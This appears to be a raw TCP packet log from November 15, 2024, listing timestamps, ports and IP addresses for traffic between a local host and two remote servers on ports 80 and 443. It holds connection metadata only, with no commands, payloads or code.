Nov 15, 2024 09:55:16.972186089 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.972243071 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:16.972259045 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.972271919 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.972327948 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:16.972623110 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.972687006 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.972690105 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:16.972697973 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.972719908 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:16.972732067 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:16.972764015 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:16.972764969 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.088207006 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.088227987 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.088284016 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.088336945 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.088354111 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.088399887 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.088401079 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.088424921 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.088449955 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.088481903 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.088598013 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.088644028 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.088654041 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.088654041 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.088689089 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.089019060 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.089030027 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.089040995 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.089072943 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.089076996 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.089090109 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.089097977 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.089117050 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.089145899 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.135920048 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.135951996 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.135967016 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.135968924 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.135981083 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.136008024 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.205193996 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.205219984 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.205231905 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.205267906 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.205265999 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.205326080 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.205326080 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.205462933 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.205473900 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.205483913 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.205509901 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.205542088 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.205750942 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.205760002 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.205796957 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.205842018 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.205879927 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.205921888 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.205950975 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.205961943 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.205991983 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.206001043 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.206015110 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.206043959 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.235476971 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.236691952 CET	49733	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.236718893 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.237266064 CET	49733	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.237276077 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.239141941 CET	443	49734	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.239722013 CET	49734	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.239749908 CET	443	49734	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.240427971 CET	49734	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.240438938 CET	443	49734	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.252780914 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.252795935 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.252815962 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.252825022 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.252845049 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.252887011 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.261745930 CET	443	49735	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.262419939 CET	49735	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.262447119 CET	443	49735	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.263071060 CET	49735	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.263077021 CET	443	49735	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.273281097 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.273444891 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.273853064 CET	49736	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.273874044 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.275019884 CET	49736	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.275027037 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.281349897 CET	49737	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.281441927 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.281939030 CET	49737	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.281955957 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.322046995 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.322062969 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.322073936 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.322149992 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.322204113 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.322204113 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.322204113 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.322213888 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.322225094 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.322251081 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.322273016 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.322493076 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.322540045 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.322546959 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.322561026 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.322582960 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.322602034 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.322602034 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.322638988 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.322962999 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.323015928 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.323020935 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.323028088 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.323066950 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.323066950 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.364669085 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.364804983 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.365080118 CET	49733	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.365081072 CET	49733	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.365106106 CET	49733	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.365114927 CET	443	49733	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.368024111 CET	443	49734	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.368125916 CET	443	49734	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.368190050 CET	49734	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.368391037 CET	49738	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.368426085 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.368448019 CET	49734	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.368464947 CET	443	49734	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.368479967 CET	49738	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.369532108 CET	49738	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.369545937 CET	443	49738	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.369622946 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.369692087 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.369704008 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.369731903 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.369746923 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.369755983 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.369813919 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.369813919 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.369813919 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.370831013 CET	49739	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.370893955 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.370966911 CET	49739	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.371069908 CET	49739	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.371088028 CET	443	49739	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.390522003 CET	443	49735	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.390614986 CET	443	49735	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.390672922 CET	49735	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.390765905 CET	49735	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.390782118 CET	443	49735	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.390789986 CET	49735	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.390794992 CET	443	49735	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.392558098 CET	49740	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.392652035 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.392724037 CET	49740	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.392851114 CET	49740	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.392874956 CET	443	49740	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.403902054 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.404071093 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.404145956 CET	49736	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.404272079 CET	49736	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.404272079 CET	49736	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.404301882 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.404310942 CET	443	49736	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.406116009 CET	49741	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.406130075 CET	443	49741	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.406193972 CET	49741	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.406322002 CET	49741	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.406332970 CET	443	49741	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.407634974 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.407820940 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.407877922 CET	49737	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.407922983 CET	49737	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.407922983 CET	49737	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.407948017 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.407975912 CET	443	49737	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.410048962 CET	49742	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.410140991 CET	443	49742	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.410258055 CET	49742	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.410358906 CET	49742	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:17.410393953 CET	443	49742	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:17.438994884 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.439105988 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.439124107 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.439143896 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.439167976 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.439177036 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.439178944 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.439191103 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.439199924 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.439219952 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.439250946 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.439404964 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.439445019 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.439456940 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.439464092 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.439492941 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.439517975 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.439711094 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.439768076 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.439770937 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.439784050 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.439841032 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.442706108 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.486571074 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.486618042 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.486635923 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.486664057 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.486680031 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.486706018 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.486697912 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.486697912 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.486785889 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.486785889 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.556924105 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.556941032 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.556952953 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.556963921 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.556974888 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.556984901 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.556997061 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.557065964 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.557112932 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.557317019 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.557327986 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.557338953 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.557360888 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.557395935 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.603986979 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.604011059 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.604022980 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.604033947 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.604044914 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.604057074 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.604111910 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.604111910 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.604175091 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.673542976 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.673558950 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.673571110 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.673666954 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.673675060 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.673727989 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.673753977 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.673763990 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.673804045 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.673983097 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.674026966 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.674034119 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.674066067 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.674140930 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.674190998 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.674192905 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.674204111 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.674226046 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.674238920 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.674264908 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.722979069 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.723082066 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.723098040 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.723115921 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.723141909 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.723156929 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.723172903 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.723279953 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.723279953 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.723279953 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.723279953 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.723318100 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.723371983 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.790313005 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.790328026 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.790404081 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.790447950 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.790460110 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.790465117 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.790497065 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.790570021 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.790900946 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.790910006 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.790956020 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.791024923 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.791073084 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.791076899 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.791089058 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.791120052 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.791145086 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.791165113 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.838881016 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.838951111 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.838960886 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.838982105 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.839004040 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.839013100 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.839013100 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.839015961 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.839026928 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.839042902 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.839066029 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.839420080 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.839441061 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.839449883 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.839459896 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.839468002 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.839502096 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.907341957 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.907392979 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.907407999 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.907423973 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.907444954 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.907658100 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.907699108 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.907718897 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.907740116 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.907768011 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.907810926 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.907988071 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.908046961 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.908076048 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.908092976 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.908109903 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.908130884 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.908138990 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.908154964 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.909454107 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.909497976 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.909502029 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.909540892 CET	49712	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:17.955620050 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.955631971 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.955667019 CET	80	49712	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:17.955724955 CET	49712	80	192.168.2.7	185.215.113.206
